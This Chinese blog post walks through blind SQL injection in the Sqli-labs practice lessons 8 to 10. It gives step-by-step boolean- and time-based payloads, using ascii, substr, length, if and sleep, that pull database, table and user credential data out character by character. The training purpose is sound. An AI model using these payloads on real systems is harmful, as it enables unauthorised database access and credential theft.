《SQL注入—Sqli-labs-Less8-10 》

《SQL注入—Sqli-labs-Less8-10 》,第1张

作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

知识点

ASCII码表

substr(string,1,2)  //用来截取查询结果,string可以用查询语句代替,1表示截取位置从1开始,2表示截取的长度.
sleep(5)    //暂停执行5ascii( )   //将查询结果转换为ascii的值。
length()     //用来判断查询结果的长度。
if(a,b,c)   //判断a是否成立,如果成立输出吧,不成立输出c。
Less8

首先判断注入点,当我们输入/?id=1’时报错,在输入/?id=1’ and 1=1–+ 和/?id=1’ and 1=2 --+可以测出存在注入点。

**判断数据库名长度:**
/Less-8/?id=1' and length(database())>7 --+    //通过不停变动后面的数字,判断大概范围,在确定长度
/Less-8/?id=1' and length(database())=8 --+   //数据库名长度为8
**爆数据库名:**
/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>115,1,sleep(5)) --+   //判断数据库名称第一个字符的ascii值是否大于115,是,立即返回正确回馈(You are in.),不是话等待5秒后返回错误回馈。
/Less-8/?id=1' and if(ascii(substr((select database()),1,1))=115,1,sleep(5)) --+  //可以得出第一个字符是115,对应的ascii为s
/Less-8/?id=1' and if(ascii(substr((select database()),2,1))=101,1,sleep(5)) --+  //可以得出第二个字符是101,对应的ascii为e。
.........................
/Less-8/?id=1' and if(ascii(substr((select database()),7,1))=121,1,sleep(5)) --+  //可以得出最后一个字符是121,对应的ascii为y。
通过以上方法可以得出数据库名为security

**爆表名:**
/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3  --+   //通过反馈可以确定有4个表
/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+  //通过反馈可以确定第一个表名长度为6/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =101 --+  //第一个表名的第一个字符
/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)) =109 --+  //第一个表名的第二个字符
以此类推得出第一个表名
/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)) =101 --+  //第二个表名的第一个字符
/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)) =109 --+  //第二个表名的第二个字符
以此类推得出第二个表名
..............................
得出所有表名
第一个数据表ascii对应值: 101,109,97,105,108,115   emails
第二个数据表ascii对应值: 114,101,102,101,114,101,114,115   referers
第三个数据表ascii对应值: 117,97,103,101,110,116,115   uagents
第四个数据表ascii对应值: 117,115,101,114,115   users

**爆表字段:**
/Less-8/?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+   //爆出username列的第一个用户名的第一个字母的ascii/Less-8/?id=1'   and ascii(substr((select username from users limit 0,1),2,1))=117 --+  //爆出username列的第一个用户名的第二个字母的ascii/Less-8/?id=1'   and ascii(substr((select username from users limit 1,1),1,1))=65 --+   //爆出username列的第二个用户名的第一个字母的ascii/Less-8/?id=1'   and ascii(substr((select username from users limit 1,1),2,1))=65 --+    //爆出username列的第二个用户名的第二个字母的ascii.................
这个是username的爆破,password只需把username改成password即可。

盲注显然比较麻烦,建议使用工具进行注入爆破

Less9

与之前不同的是,这次不管在id后输入啥,始终回馈You are in…。不管输入啥前端不显示后端报错回馈,所以这里我们采取延时盲注测试。

/Less-9/?id=1  and sleep(5) --+  //虽然回馈还是You are in,但是很快的显示出来。
/Less-9/?id=1'  and sleep(5) --+  //虽然回馈还是You are in,但是过了大约五秒才显示出来。
所以可以确定'是闭合符。
**猜数据库名:**
/Less-9/?id=1' and if(length(database())>7,sleep(5),1)--+    //可以发现5秒后回馈因此得出数据库长度为8
/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114,sleep(5),1)--+   //得出数据库名第一个字符的ascii值为115对应为s。
/Less-9/?id=1' and if(ascii(substr(database(),2,1))>100,sleep(5),1)--+   //得出数据库名第二个字符的ascii值为101对应为e。
...............以此类推得出security

爆表名、爆字段方法与第八关相似,只是多了一个if()和sleep函数。

/Less-9/?id=1' and if(8关sql命令  ,sleep(5),1)--+
例如: 
/Less-9/?id=1' and if( ascii(substr((select table_name from information_schema.tables where table_schema='security'limit 0,1),1,1))=101  ,sleep(5),1)--+ 
Less10

第10关就是把单引号闭合换成双引号闭合。

/Less-10/?id=1"  and sleep(5) --+ 

方法与第9关一样。建议使用工具进行爆破。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/889456.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-14
下一篇 2022-05-14

发表评论

登录后才能评论

评论列表(0条)

保存